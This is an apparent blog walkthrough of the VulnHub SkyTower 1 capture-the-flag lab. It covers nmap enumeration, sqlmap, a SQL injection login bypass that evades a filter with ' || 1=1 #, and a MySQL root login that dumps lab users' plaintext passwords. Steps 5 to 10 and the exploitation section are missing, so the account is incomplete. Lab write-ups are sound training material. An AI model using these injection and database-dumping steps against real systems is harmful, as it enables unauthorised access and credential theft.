SkyTower 1 | vulnhub | Walkthrough
"This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the "flag".
You will require skills across different facets of system and application vulnerabilities, as well as an understanding of various services and how to attack them. Most of all, your logical thinking and methodical approach to penetration testing will come into play to allow you to successfully attack this system. Try different variations and approaches. You will most likely find that automated tools will not assist you."
I have got the root shell in 3 steps:
1. Enumeration : Got open ports and running service
2. Exploitation : Using SQLi and database handling.
3. Privilege Escalation: One user have special access.
Enumeration:
$ nmap -sV -v 10.0.2.27
(2) Visiting the web, there is a login form. So I have started the Burp and tried to see what's happening.
Found that there is a filter which is filtering SQLi attempt.
(3) Now I have copied the "Request" into a text file and tried sqlmap.
$ sqlmap -r myRequest.txt -p email
Here -p is specifying the parameter I want to attack.
However, Sqlmap failed to detect any injection payload.
(4) Maybe the application is filtering this : ' OR 1=1 #
So I have modified this to ' || 1=1 # . Now it has worked correctly!
Exploitation:
Privilege Escalation :
(11) I need to enumerate more. So I decided to check the web folder. And login.php reveals some good info about mysql database.
(12) I can now check the mysql info. Command I have used:
$ mysql -uroot -proot
$ show databases;
$ show SkyTech;
$ use SkyTech;
$ show tables;
$ select * from login;
After enumerating the database, I have found email and password for other users. And this is awesome!
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+---------------------+--------------+









No comments: